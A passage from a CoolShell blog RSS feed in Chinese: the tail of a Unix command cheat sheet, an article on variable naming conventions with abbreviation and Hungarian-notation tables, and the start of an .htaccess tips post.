&lt;pattern&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TAR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把整个目录打包（没有压缩）</td>\n<td><span style=\"color: #333399;\">tar cvf &lt;outfile&gt;.tar &lt;dir&gt;</span></td>\n</tr>\n<tr>\n<td>解包某个tar文件</td>\n<td><span style=\"color: #333399;\">tar xvf &lt;file&gt;.tar</span></td>\n</tr>\n<tr>\n<td>先解压缩再解包</td>\n<td><span style=\"color: #333399;\">gzip -dc &lt;file&gt;.tar.gz | tar xvf &#8211;</span></td>\n</tr>\n<tr>\n<td>打包成一个压缩包</td>\n<td><span style=\"color: #333399;\">tar xzvf &lt;file&gt;tar.gz</span></td>\n</tr>\n<tr>\n<td>在.cshrc中设置 tar命令的tape 变量</td>\n<td><span style=\"color: #333399;\">tape=/dev/rmt/0mbn</span></td>\n</tr>\n<tr>\n<td>把一个目录打包到tape变量所指的目录中</td>\n<td><span style=\"color: #333399;\">tar cv &lt;dir&gt;</span></td>\n</tr>\n<tr>\n<td>从tape中解包</td>\n<td><span style=\"color: #333399;\">tar xv</span></td>\n</tr>\n<tr>\n<td>从tape中解出一个文件</td>\n<td><span style=\"color: #333399;\">tar xv &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>从 tape中得到一个内容表</td>\n<td><span style=\"color: #333399;\">tar t</span></td>\n</tr>\n<tr>\n<td>以合适的权限和链接拷贝一个目录</td>\n<td><span style=\"color: #333399;\">(cd fromdir &amp;&amp; tar -cBf &#8211; . ) | ( cd todir &amp;&amp; tar -xBf &#8211; )</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TCSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Berkly的另一个非常不错的shell</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TEE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把标准输入重定向到标准输出</td>\n<td><span style=\"color: #333399;\">who | tee -a &gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TEST</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>检查是否是一个文件</td>\n<td><span style=\"color: #333399;\">test -a &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>检查是否某文件是否是root属性</td>\n<td><span style=\"color: #333399;\">test -O /usr/bin/su</span></td>\n</tr>\n<tr>\n<td>检查某变量是否为 null</td>\n<td><span style=\"color: #333399;\">test -n &#8220;$foo&#8221;</span></td>\n</tr>\n<tr>\n<td>以数字的方式比较两个数字字符串</td>\n<td><span style=\"color: #333399;\">test $var1 -gt $var2</span></td>\n</tr>\n<tr>\n<td>在ksh 脚本中间接地使用&#8221;test&#8221;</td>\n<td><span style=\"color: #333399;\">if [[ -a &lt;file&gt; ]];then &#8230;;fi</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TIME</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看运行一个命令需要多少时间</td>\n<td><span style=\"color: #333399;\">time &lt;command&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TOUCH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>更新文件的修改时间为当前时间，文件不存在则创建文件</td>\n<td><span style=\"color: #333399;\">touch &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用x替换a，y替换b，c替换z</td>\n<td><span style=\"color: #333399;\">tr &#8216;[a-c]&#8217; &#8216;[x-z]&#8217; &lt; infile &gt; outfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TRAP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>捕捉&#8221;^C&#8221; 并执行子程序</td>\n<td><span style=\"color: #333399;\">trap &#8220;mysub;exit&#8221; 0 1 2 15</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TRUE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>让个不存在的命令返回0</td>\n<td><span style=\"color: #333399;\">ln -s /usr/bin/true ranlib</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TRUSS</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看一个命令运行时的系统调用</td>\n<td><span style=\"color: #333399;\">truss &lt;command&gt; &gt; /dev/null</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TYPSET</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看被激活的功能</td>\n<td><span style=\"color: #333399;\">typset</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">TTY</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看终端所在的设备文件</td>\n<td><span style=\"color: #333399;\">tty</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">ULIMIT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看系统所支持的最大文件长度</td>\n<td><span style=\"color: #333399;\">ulimit</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UMASK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看目前的umask</td>\n<td><span style=\"color: #333399;\">umask</span></td>\n</tr>\n<tr>\n<td>设置一个umask</td>\n<td><span style=\"color: #333399;\">umask 077</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UNIQ</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看一个文件中有多少行是一样的</td>\n<td><span style=\"color: #333399;\">sort &lt;file&gt; | uniq -c</span></td>\n</tr>\n<tr>\n<td>仅输出唯一的没有重复的行</td>\n<td><span style=\"color: #333399;\">sort &lt;file&gt; | uniq -u</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UPTIME</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看你的电脑开机多少时间了</td>\n<td><span style=\"color: #333399;\">uptime</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UUENCODE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Encode一个文件以便发送电子邮件</td>\n<td><span style=\"color: #333399;\">uuencode decodedname namenow &gt; codedname</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">UUDECODE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Decode 一个 uuencoded 文件</td>\n<td><span style=\"color: #333399;\">uudecode &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">WAIT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>等一个后进和运行结束</td>\n<td><span style=\"color: #333399;\">wait $jobid</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">VI</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>最主要的unix编译器</td>\n<td><span style=\"color: #333399;\">vi &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">WC</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>计算一个文件的行号</td>\n<td><span style=\"color: #333399;\">wc -l &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">XARGS</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把标准输出作为参数来执行一条命令</td>\n<td><span style=\"color: #333399;\">&lt;command&gt; | xargs -i grep &#8216;pattern&#8217; {}</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">XON</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从另一台电脑上得到一个xterm</td>\n<td><span style=\"color: #333399;\">xon &lt;host&gt;</span></td>\n</tr>\n<tr>\n<td>从另一台电脑上得到所有的东西</td>\n<td><span style=\"color: #333399;\">xon &lt;host&gt; &lt;X-client&gt;</span></td>\n</tr>\n</tbody>\n</table>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1044.html\">高级Unix命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1044.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程命名中的7+1个提示</title>\n\t\t<link>https://coolshell.cn/articles/1038.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1038.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 15 Jun 2009 14:36:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1038</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前几天Neo写过《编程中的命名设计那点事》，这里也有另外一篇和程序命名的文章，可以从另一个角度看看。 1.- 变量应该是尽可能的望文知意。千万不要使用教材中的命...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1038.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1038.html\">编程命名中的7+1个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前几天Neo写过《<a title=\"编程中的命名设计那点事\" href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a>》，这里也有另外一篇和程序命名的文章，可以从另一个角度看看。</p>\n<p><strong>1.- 变量应该是尽可能的望文知意。千万不要使用教材中的命名方式。</strong></p>\n<ul>\n<li><strong>好的变量</strong>：<strong> </strong>daysDateRange, flightNumber, carColor.</li>\n<li><strong>坏的变量</strong>： days, dRange, temp, data, aux…</li>\n</ul>\n<p>在我们的日常工作中，有很大数量的开发人员喜欢使用短的变量名，而不是有含义的变量名。这主要是因为我们大学教科书的那些示例所造成的，人都是先入为主，所以，教科书中的那些很抽象，带着演示的变量命名影响了我们一代又一代的程序员，并影响了他们很多年。虽然那些短的，教材式的变量名，可能会让你少打一些字，但其实，这是非常非常不好的。因为软件的维护成本远远大于了软件的开发成本，如果你不取一个好的一点的变量名，那么当进行代码评审时，当进行bug fixing时，当进行代码重构时，当进行代码维护时，你的某个变量名可能会让你一头雾水，不知道所措，还可以会让你走入陷阱，造成更大的时间成本。所以，一个可阅读的代码必然和那些不错的变量名分不开，而这也能让你的软件间接上有更好的质量。</p>\n<p><span id=\"more-1038\"></span></p>\n<p><strong>2.- 变量名不要太长，尽可能地简短</strong></p>\n<p>只有简单和简短的变量名才是容易阅读的。因为你的变量名一定会用于程序语句中，所以，为了让你的程序语句看起来的简短，你的变量名也应该短一点，不然写出来的一个表达式就会显得很复杂。</p>\n<p>当然，在有些时候，一个有含义的变量名和一个简短的变量名可能存在一些冲突。这相当锻炼我们的语言能力——如果有最精炼的词语来表达最丰富的含义。如果实在做不到，那么，取一个有含义的变量名要比取一个简短的变量名更好一些。不管怎么样，我们希望即简短又有丰富的含义，但如果不能两全，那有含义优先级更高一些。</p>\n<ul>\n<li><strong>坏的变量</strong>：howLonDoesItTakeToOpenTheDoor， howBigIsTheMaterial…</li>\n<li><strong>好的变量</strong>：timeToOpenTheDoor， MaterialSize.</li>\n</ul>\n<p><strong>3.- 可以使用缩写，但需要有一些注释</strong></p>\n<p>有一些时候，我们需要使用一些缩写来命名变量，比如：用usr来表示user，用gp来表示group，用conf来表示configuration，用cwd来表示current working directory，用ptr来代码point to reference，等等，等等。缩写一般要用在大家可以看得懂的，而不是为了缩写而缩短一个单词，当然，如果你把缩写后的变量名加上注释，那就更加稳妥了。关于一些约定俗成的缩写，可参看本文的<strong>附录一</strong>。</p>\n<p><strong>4.- 使用合适的匈牙利命名规则</strong></p>\n<p>这里有一篇非常不错的英文文章告诉你 《<a onclick=\"pageTracker._trackPageview('/outgoing/www.joelonsoftware.com/articles/Wrong.html');\" href=\"http://www.joelonsoftware.com/articles/Wrong.html\" target=\"_blank\">什么是合适的匈牙利命名</a> 》，这篇文章同时还告诉你如何去用他。基本上来说，匈牙利命名法主要是为变量加上某种前缀以标识这个变量的类型，或是一种方法的功能。其基本原则是：变量名＝属性＋类型＋对象描述。</p>\n<p>比如：在描述类型方面：指针p，函数fn，长整型 l，布尔b，浮点型（有时也指文件）f，双字 dw，字符串 sz，短整型 n，双精度浮点 d，无符号 u……等等。关于更多的命名规范，请参见<strong>附录二</strong>。</p>\n<p>注意，匈牙利命名也是有不好的地方的，比如你要把一个整形改成一个浮点型，你除了要改变这个变量的类型，你还要改变这个变量的名字。这是相当麻烦的。而且，在某些时候，这种前缀式的命名可以反而让你不知所措。另外，在C++中，有了类以后，这种命名方法就显得不容易去实施了。所以，合适地使用匈牙利命名方式背后的思想是很关键的。</p>\n<p><strong>5.- 不要使用反逻辑来命名</strong></p>\n<ul>\n<li><strong>好的命名</strong>：  IsEnabled.</li>\n<li><strong>坏的命名：</strong> IsNotEnabled.</li>\n</ul>\n<p>在阅读的时候，我们更喜欢正向的逻辑，而不是反向逻辑。这一规则不单单的命名，在条件语句中，我们也是要尽量不要使用这种反面的逻辑。如：if (! (isAdmin || isUser))，这样的语句很不符合人读代码的习惯，写成这样会更好一些——if (!isAdmin &amp;&amp; !isUser)。</p>\n<p><strong>6.- 保持一致性</strong></p>\n<p>保持所有代码的一致性。使用相同的命名规则。这外世界上没有最好的命名规范。但有一点是可以确认的，那就是在一个代码库中，应该使用一致的命名规则，即使这个规则不那么好，但整个团队使用一致的就是好的。</p>\n<p><strong>7.- 附和应用程序的领域术语</strong></p>\n<p>在不同的领域中，不同的观念会有非常特别和不同的意思。例如：单词“order”并不总是意味着“次顺”，有些时候，其意味着“订单”，有些时候，意味着“命令”，有些时候，意为着“规则”。所以，在某个领域中，某些单词会有不同的含义，所以，这需要我们的命令去附和这些领域。</p>\n<p> </p>\n<p><strong>黄金法则- 花一些时间去思考去权衡一下你的变量名</strong></p>\n<p>当你设计好一个的变量名一个函数名的时候，别着急去使用他，停下来，想一想，这个变量名是否合适，是否还有更好的？也许你正在使用的是一个很不好的变量名。有些时候，需要我们权衡利弊一下，可能还要去和同事讨论一下。</p>\n<p>总之，变量名是编程的第一步，第一步走好了，后面才走得好。试想，无论是你或你的同事在使用一些好的变量名编程是一件多么轻松的事啊。</p>\n<p> </p>\n<h4>附录：部分的缩写规范</h4>\n<table border=\"0\" align=\"center\">\n<tbody>\n<tr>\n<td>完整单词</td>\n<td>缩写</td>\n</tr>\n<tr>\n<td>A</td>\n<td> </td>\n</tr>\n<tr>\n<td>average</td>\n<td>avg</td>\n</tr>\n<tr>\n<td>B</td>\n<td> </td>\n</tr>\n<tr>\n<td>back</td>\n<td>bk</td>\n</tr>\n<tr>\n<td>background</td>\n<td>bg</td>\n</tr>\n<tr>\n<td>break</td>\n<td>brk</td>\n</tr>\n<tr>\n<td>buffer</td>\n<td>buf</td>\n</tr>\n<tr>\n<td>C</td>\n<td> </td>\n</tr>\n<tr>\n<td>color</td>\n<td>cr,clr</td>\n</tr>\n<tr>\n<td>control</td>\n<td>ctrl</td>\n</tr>\n<tr>\n<td>D</td>\n<td> </td>\n</tr>\n<tr>\n<td>data</td>\n<td>dat</td>\n</tr>\n<tr>\n<td>delete</td>\n<td>del</td>\n</tr>\n<tr>\n<td>document</td>\n<td>doc</td>\n</tr>\n<tr>\n<td>E</td>\n<td> </td>\n</tr>\n<tr>\n<td>edit</td>\n<td>edt</td>\n</tr>\n<tr>\n<td>error</td>\n<td>err</td>\n</tr>\n<tr>\n<td>escape</td>\n<td>esc</td>\n</tr>\n<tr>\n<td>F</td>\n<td> </td>\n</tr>\n<tr>\n<td>flag</td>\n<td>flg</td>\n</tr>\n<tr>\n<td>form</td>\n<td>frm</td>\n</tr>\n<tr>\n<td>G</td>\n<td> </td>\n</tr>\n<tr>\n<td>grid</td>\n<td>grd</td>\n</tr>\n<tr>\n<td>I</td>\n<td> </td>\n</tr>\n<tr>\n<td>increment</td>\n<td>inc</td>\n</tr>\n<tr>\n<td>information</td>\n<td>info</td>\n</tr>\n<tr>\n<td>initial</td>\n<td>init</td>\n</tr>\n<tr>\n<td>insert</td>\n<td>ins</td>\n</tr>\n<tr>\n<td>image</td>\n<td>img</td>\n</tr>\n<tr>\n<td>L</td>\n<td> </td>\n</tr>\n<tr>\n<td>lable</td>\n<td>lab</td>\n</tr>\n<tr>\n<td>length</td>\n<td>len</td>\n</tr>\n<tr>\n<td>list</td>\n<td>lst</td>\n</tr>\n<tr>\n<td>library</td>\n<td>lib</td>\n</tr>\n<tr>\n<td>M</td>\n<td> </td>\n</tr>\n<tr>\n<td>manager</td>\n<td>mgr,mngr</td>\n</tr>\n<tr>\n<td>message</td>\n<td>msg</td>\n</tr>\n<tr>\n<td>O</td>\n<td> </td>\n</tr>\n<tr>\n<td>Oracle</td>\n<td>Ora</td>\n</tr>\n<tr>\n<td>P</td>\n<td> </td>\n</tr>\n<tr>\n<td>panorama</td>\n<td>pano</td>\n</tr>\n<tr>\n<td>password</td>\n<td>pwd</td>\n</tr>\n<tr>\n<td>picture</td>\n<td>pic</td>\n</tr>\n<tr>\n<td>point</td>\n<td>pt</td>\n</tr>\n<tr>\n<td>position</td>\n<td>pos</td>\n</tr>\n<tr>\n<td>print</td>\n<td>prn</td>\n</tr>\n<tr>\n<td>program</td>\n<td>prg</td>\n</tr>\n<tr>\n<td>S</td>\n<td> </td>\n</tr>\n<tr>\n<td>server</td>\n<td>srv</td>\n</tr>\n<tr>\n<td>source</td>\n<td>src</td>\n</tr>\n<tr>\n<td>statistic</td>\n<td>stat</td>\n</tr>\n<tr>\n<td>string</td>\n<td>str</td>\n</tr>\n<tr>\n<td>Sybase</td>\n<td>Syb</td>\n</tr>\n<tr>\n<td>T</td>\n<td> </td>\n</tr>\n<tr>\n<td>temp</td>\n<td>tmp</td>\n</tr>\n<tr>\n<td>text</td>\n<td>txt</td>\n</tr>\n<tr>\n<td>U</td>\n<td> </td>\n</tr>\n<tr>\n<td>user</td>\n<td>usr</td>\n</tr>\n<tr>\n<td>W</td>\n<td> </td>\n</tr>\n<tr>\n<td>window</td>\n<td>win,wnd</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<h4>附录二、匈牙利命名法</h4>\n<pre>  a       Array                       数组\n  b       BOOL (int)                  布尔(整数)\n  by      Unsigned Char (Byte)        无符号字符(字节)\n  c       Char                        字符(字节)\n  cb      Count of bytes              字节数\n  cr      Color reference value       颜色(参考)值\n  cx      Count of x (Short)          x的集合(短整数)\n  dw      DWORD   (unsigned long)     双字(无符号长整数)\n  f       Flags                       标志(一般是有多位的数值)\n  fn      Function                    函数\n  g_      global                      全局的\n  h       Handle                      句柄\n  i       Integer                     整数\n  l       Long                        长整数\n  lp      Long pointer                长指针\n  m_      Data member of a class      一个类的数据成员\n  n       Short int                   短整数\n  p       Pointer                     指针\n  s       String                      字符串\n  sz      Zero terminated String      以0结尾的字符串\n  tm      Text metric                 文本规则\n  u       Unsigned int                无符号整数\n  ul      Unsigned long (ULONG)       无符号长整数\n  w       WORD (unsigned short)       无符号短整数\n  x,y     x, y coordinates (short)    坐标值/短整数\n  v       void                        空</pre>\n<p>有关项目的全局变量用g_开始，类成员变量用m_，局部变量若函数较大则可考虑用l_用以显示说明其是局部变量。</p>\n<pre>前缀       类型        例子\ng_      全局变量       g_Servers\nC       类或者结构体   CDocument，CPrintInfo\nm_      成员变量       m_pDoc，m_nCustomers</pre>\n<p><strong>VC常用前缀列表：</strong></p>\n<pre>前缀   类型   描述                      例子\nch     char    8位字符                   chGrade\nch     TCHAR   16位UNICODE类型字符       chName\nb      BOOL    布尔变量                  bEnabled\nn      int     整型                      nLength\nn      UINT    无符号整型                nLength\nw      WORD    16位无符号整型            wPos\nl      LONG    32位有符号整型            lOffset\ndw     DWORD   32位无符号整型            dwRange\np      *       内存模块指针，指针变量   pDoc\nlp     FAR*    长指针                    lpDoc\nlpsz   LPSTR   32位字符串指针           lpszName\nlpsz   LPCSTR  32位常量字符串指针       lpszName\nlpsz   LPCTSTR 32位UNICODE类型常量指针  lpszName\nh      handle  Windows对象句柄           hWnd\nlpfn   (*fn)() 回调函数指针              lpfnAbort</pre>\n<p><strong>Windows对象名称缩写：</strong></p>\n<pre>Windows对象 例子变量  MFC类       例子对象\nHWND        hWnd;      CWnd*       pWnd;\nHDLG        hDlg;      CDialog*    pDlg;\nHDC         hDC;       CDC*        pDC;\nHGDIOBJ     hGdiObj;   CGdiObject* pGdiObj;\nHPEN        hPen;      CPen*       pPen;\nHBRUSH      hBrush;    CBrush*     pBrush;\nHFONT       hFont;     CFont*      pFont;\nHBITMAP     hBitmap;   CBitmap*    pBitmap;\nHPALETTE    hPalette;  CPalette*   pPalette;\nHRGN        hRgn;      CRgn*       pRgn;\nHMENU       hMenu;     CMenu*      pMenu;\nHWND        hCtl;      CStatic*    pStatic;\nHWND        hCtl;      CButton*    pBtn;\nHWND        hCtl;      CEdit*      pEdit;\nHWND        hCtl;      CListBox*   pListBox;\nHWND        hCtl;      CComboBox*  pComboBox;\n\n（全文完）</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1038.html\">编程命名中的7+1个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1038.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>19</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>16个简单实用的.htaccess小贴示</title>\n\t\t<link>https://coolshell.cn/articles/1035.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1035.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 14 Jun 2009 04:27:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[.htaccess]]></category>\n\t\t<category><![CDATA[Apache]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1035</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>.htaccess 文件 (Hypertext Access file) 是Apache Web服务器的一个非常强大的配置文件，对于这个文件，Apache有一堆...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1035.html\"> Read 